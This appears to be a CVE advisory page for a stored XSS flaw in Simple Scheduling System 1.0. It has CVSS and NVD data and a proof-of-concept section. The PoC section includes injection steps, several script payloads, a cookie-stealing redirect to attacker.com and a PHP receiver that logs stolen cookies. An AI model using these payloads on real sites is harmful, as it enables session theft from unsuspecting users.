Security Vulnerability Report
中文
CVE-2025-60304 CVSS 6.1 MEDIUM

CVE-2025-60304

Published: 2025-10-09 17:16:05
Last Modified: 2025-10-16 15:26:17

Description

code-projects Simple Scheduling System 1.0 is vulnerable to Cross Site Scripting (XSS) via the Subject Description field.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:fabian:simple_scheduling_system:1.0:*:*:*:*:*:*:* - VULNERABLE
code-projects Simple Scheduling System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60304 - Stored XSS PoC for code-projects Simple Scheduling System 1.0 --> <!-- Vulnerability Location: Subject Description field --> <!-- Step 1: Login to Simple Scheduling System as an authenticated user --> <!-- Step 2: Navigate to the Subject Management module --> <!-- Step 3: Create or edit a Subject and inject the following payload into the Subject Description field --> <!-- Payload 1: Basic Cookie Stealing --> <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> <!-- Payload 2: Alert Box (Proof of Concept) --> <script>alert('XSS by CVE-2025-60304')</script> <!-- Payload 3: Using img tag with onerror event --> <img src=x onerror="alert(document.domain)"> <!-- Payload 4: Using svg tag --> <svg/onload=alert(1)> <!-- Step 4: Save the Subject entry --> <!-- Step 5: When any victim user views the Subject details page, the malicious script will execute automatically --> <!-- Step 6: Attacker's server (e.g., steal.php) will receive the victim's session cookie --> <!-- steal.php (Attacker's receiver script) --> <?php $cookie = $_GET['cookie']; $log = fopen("stolen_cookies.txt", "a"); fwrite($log, $cookie . "\n"); fclose($log); ?> <!-- HTTP Request Example (Simplified) --> POST /simple-scheduling/subject/add HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=authenticated_session subject_name=Mathematics&subject_description=<script>alert(document.cookie)</script>&submit=Add

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60304", "sourceIdentifier": "[email protected]", "published": "2025-10-09T17:16:04.887", "lastModified": "2025-10-16T15:26:16.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "code-projects Simple Scheduling System 1.0 is vulnerable to Cross Site Scripting (XSS) via the Subject Description field."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:simple_scheduling_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "96C93581-C156-4D08-95E3-C1ED484CC0A3"}]}]}], "references": [{"url": "http://code-projects.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Chen1-Boop/CVE/blob/main/CVE-2025-60304.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}